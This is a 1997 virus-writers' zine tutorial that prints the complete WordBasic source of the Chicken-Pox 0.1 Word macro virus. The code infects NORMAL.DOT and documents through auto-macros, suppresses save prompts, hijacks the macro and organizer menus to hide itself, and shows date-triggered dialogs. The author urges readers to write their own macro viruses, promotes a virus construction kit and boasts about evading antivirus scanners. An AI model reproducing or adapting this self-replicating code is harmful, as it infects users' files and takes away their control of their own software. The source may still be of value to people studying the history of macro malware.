��������������������
[�Art On Macro Virii�]
��������������������
by fOX'z NoMercy
Greeting to:
SLAM MEMBERS (DarkChasm and friends)
VBB MEMBERS (Pyro and friends)
Cicatrix (The Major Collector)
Indonesian Macro Virii Creator
------------------
Tools/parts you needed:
- A computer with keyboard and Rat
- Windows 3.xx or Win9x
- WinWord 6
- Piece of Graphic
- Your brain
- Chicken-Pox 0.1 or NoMercy ][ Macro Viruses (for samples)
******************************************
CAPTURE I. Take a look the samples first.
******************************************
Open Chicken-Pox 0.1 don't "NoMercy ][" (too dangerous for you), take a look
what kind of art you can show up to your victim(s). Try Open ToolsMacro or some
thing else for tracking Macro, did you see the art?, other way set your comp.
date to 1 or 31. How it's work ??...
********************************
CAPTURE ][.Make Your Own Macro.
********************************
This is Macro From Chicken-Pox 0.1 that created by CVCK
==============
AutoOpen
==============
'--------------------------------------------
' Created using CVCK v.01 b
'(C)CrazybitS 1997, Yogyakarta, Indonesia
'--------------------------------------------
Dim Shared fn$
Sub MAIN
DisableAutoMacros 0 'Enables auto macro
ToolsOptionsSave .GlobalDotPrompt = 0'disbled prompt saving normal dot
fn$ = FileName$()
If Cins = 0 Then
Call infect
Call CopyPic 'HERE THE ART BEGIN !!! (copy pict from virus to NORMAL.DOT)
EndIf
Call ActionDate
End Sub
Function Cins
Cins = 0
If CountMacros(0) <> 0 Then
For i = 1 To CountMacros(0)
If MacroName$(i, 0) = "Action" Then
Cins = 1
EndIf
Next i
EndIf
End Function
Sub infect
suc = CM("AutoExec", "DefeatAV")
suc = CM("AutoOpen", "StdOpen")
suc = CM("stdClose", "AutoClose")
suc = CM("ActionDate", "ActionDate")
suc = CM("Action", "Action")
suc = CM("Action2", "Action2")
suc = CM("FileTemplates", "FileTemplates")
suc = CM("ToolsMacro", "ToolsMacro")
suc = CM("ToolsCustomize", "ToolsCustomize")
suc = CM("Organizer", "Organizer")
suc = CM("HelpAbout", "HelpAbout")
End Sub
Sub CopyPic
normal$ = MacroFileName$("DefeatAV") 'check on normal if found let it be if no copy it
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
End Sub
Function CM(CMN$, SMN$)
cfn$ = FileName$()
MacroCopy cfn$ + ":" + CMN$, �
"Global:" + SMN$
CM = 1
End Function
===============
stdClose
===============
'--------------------------------------------
' Created using CVCK v.01 b
'(C)CrazybitS 1997, Yogyakarta, Indonesia
'--------------------------------------------
Dim Shared fn$, Normal$
Sub MAIN
DisableAutoMacros 0 'Enables auto macro
ToolsOptionsSave .GlobalDotPrompt = 0'disbled prompt saving normal dot
fn$ = FileName$()
Normal$ = MacroFileName$("DefeatAV")
If Cins = 0 Then
Call infect
EndIf
End Sub
Function Cins
Cins = 0
If CountMacros(1) <> 0 Then 'active template
For i = 1 To CountMacros(1) 'active template
If MacroName$(i, 1) = "Action" Then
Cins = 1
EndIf
Next i
EndIf
End Function
Sub infect
succ = CM("DefeatAV", "AutoExec")
succ = CM("StdOpen", "AutoOpen")
succ = CM("AutoClose", "stdClose")
succ = CM("Action", "Action")
succ = CM("ActionDate", "ActionDate")
suc = CM("Action2", "Action2")
suc = CM("FileTemplates", "FileTemplates")
suc = CM("ToolsMacro", "ToolsMacro")
suc = CM("ToolsCustomize", "ToolsCustomize")
suc = CM("Organizer", "Organizer")
suc = CM("HelpAbout", "HelpAbout")
SaveIt
CopyPic 'HERE THE ART BEGIN ! (Copy from NORMAL.DOT to Filesave/Newdoc)
SaveIt
End Sub
Sub SaveIt
Fn$ = FileName$()
Dim Dlg As FileSaveAs
If (Dlg.Format <> 1) Then
FileSaveAs .Format = 1', .AddToMru = 0
FileSave
Else
FileSave
EndIf
End Sub
Sub CopyPic
Fn$ = FileName$() 'New doc/Filesave
Fm$ = MacroFileName$("DefeatAV") 'check on NORMAL.DOT if found copy it, if no ignore
Organizer .Copy, .Source = fm$, .Destination = Fn$, .Name = "Chicken", .Tab = 1
End Sub
Function CM(CMN$, SMN$)
cfn$ = FileName$()
MacroCopy "Global:" + CMN$, �
cfn$ + ":" + SMN$
CM = 1
End Function
=============
HelpAbout
=============
Sub MAIN
Begin Dialog UserDialog 514, 388, "About Us (CrazybitS)"
Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
PushButton 137, 343, 269, 26, "[pox-poX-pOX-POX-POx-Pox-pox]", .Push2
Text 41, 83, 417, 53, "Hello there......., After a month we learning WordBasic Macro Language we has finisihed Our Constructions Kit and we named CVCK V0.2 (CrazybitS Virii Constructions Kits)", .Text1
Text 41, 140, 417, 55, "Before we make Our Own Construction we (myself and mybrother) make our Virii manually, after we got idea why we don't make own construction kit like NJWMVCK or anything else.", .Text2
Text 43, 197, 415, 27, "Finally we did it, and we love it!. Some Virii from Us : ", .Text3
Text 96, 227, 253, 13, "1. NoMercy (kown as ShowOff.G)", .Text5
Text 96, 242, 61, 13, "2. Ririn ", .Text6
Text 96, 257, 169, 13, "3. 10face (DasaMuka)", .Text7
Text 96, 273, 300, 13, "4. No Mercy ][ (the Madness continues)", .Text8
Text 96, 292, 145, 13, "5. Chicken-Pox 0.1", .Text9
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub
================
ToolsMacro, FileTemplates, Organizer, ToolsCustomize
======================================================
Sub MAIN
Begin Dialog UserDialog 514, 226, "Chicken say ........."
Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
PushButton 137, 195, 269, 21, "[pox-poX-pOX-POX-POx-Pox-pox]", .Push2
Text 41, 83, 417, 36, "Hello there......., this command was blocked by Chicken Pox Macro Virii", .Text1
Text 41, 118, 417, 29, "This is sample from Our Generator Virii, we named our generator CVCK V0.2. It's very user friendly !, try it !", .Text2
Text 41, 156, 417, 26, "This Virii is not Dangerous !, If you want try our CVCK V0.2 email Us on " + Chr$(34) + "
[email protected]" + Chr$(34), .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub
========
Action
========
Sub MAIN
normal$ = MacroFileName$("DefeatAV") 'check on NORMAL.DOT
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
Begin Dialog UserDialog 514, 226, "[pox-poX-pOX-POX-POx-Pox-pox]"
Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
OKButton 208, 194, 88, 21
Text 41, 83, 417, 36, "On April 1997, after No Mercy ][ was launched......... Chicken-Pox 0.1 released for continues my madness about macro viruses", .Text1
Text 41, 125, 417, 29, "Once again from the dark side of Yogya City a new macro virus was born !", .Text2
Text 41, 156, 417, 27, "This is sample from CVCK. Its easy. Try it !. This Virii are not Dangerous!", .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub
=========
Action2
=========
Sub MAIN
normal$ = MacroFileName$("DefeatAV") 'Check on NORMAL.DOC
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
Begin Dialog UserDialog 514, 226, "[pox-poX-pOX-POX-POx-Pox-pox]"
Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
PushButton 103, 189, 280, 21, "pox-poX-pOX-P&OX-POx-Pox-pox", .Push1
Text 41, 83, 417, 36, "Greeting to everyone who " + Chr$(34) + "Love Virii" + Chr$(34) + ", the " + Chr$(34) + "Maker of Virii" + Chr$(34) + " or who " + Chr$(34) + "collector of Virii" + Chr$(34) + " and specially to YOU ", .Text1
Text 41, 119, 417, 29, "This is sample from CVCK 0.2, our Virii Generator after one month in Macro ! (March-April '97)", .Text2
Text 41, 156, 417, 27, "Send me email on " + Chr$(34) + "
[email protected]" + Chr$(34) + " if you want try CVCK V0.2, don't worry this CVCK is FREE !", .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub
===========
ActionDate
===========
Sub MAIN
If Day(Now()) = 11 Then
ToolsMacro .Name = "Action", .Run
EndIf
If Day(Now()) = 31 Then
ToolsMacro .Name = "Action2", .Run
EndIf
End Sub
===
That the source code from Chicken Pox, now make your own macro virus.
Be creative! and lets go f*****g !
**************************
]I[. How to make Picture
**************************
If you already have a picture (any format e.i gif) you can start now.
here like this way
- insert picture,
- then select that picture,
- goto edit autotext fill with name you like
(in Chiken-Pox pic named with "Chicken")
- then push add button
- delete that pict
- try type what you named your pict before and press F3
- if you see your pict, that mean you already have an autotext
******************
IV. Try CVCK 0.1b
******************
After one month in Macro..... finally we did it !, that CVCK very easy,
finally I say :
"More people know your ability..... More enemy will you get!"
comment, idea or something else please contact me at
[email protected]
BTW... my old address still active (if you know!)
---[
[email protected] ]---
==========================] T H E E N D [==============================
also visir NoMercy Online
http://www.geocities.com/ResearchTriangle/3996
Wait next issue !
Hey wake Up!
again?
are you mad?
no thing to do
STOP!!
Our Logo ! (what's you think)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
��������(c) The Nomercy� '97�������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Mmmmmmmm
P.S
After one month in Macro..... here the viruses we product !
- NoMercy 1.7b -> scaned as ShowOff.G
- Ririn (Beyond the NoMercy) -> scaned as ShowOff.R
- 10Faces (DasaMuka) -> scaned as Mercy.A
- NoMercy ][ (the Madness Continues) -> when the author write this issue,
still unscan!
- Chicken-Pox 0.1 -> when the author write this issue,
still unscan!
- Chicken Ass (coming soon) -> we make new when the old was
scaned! \:)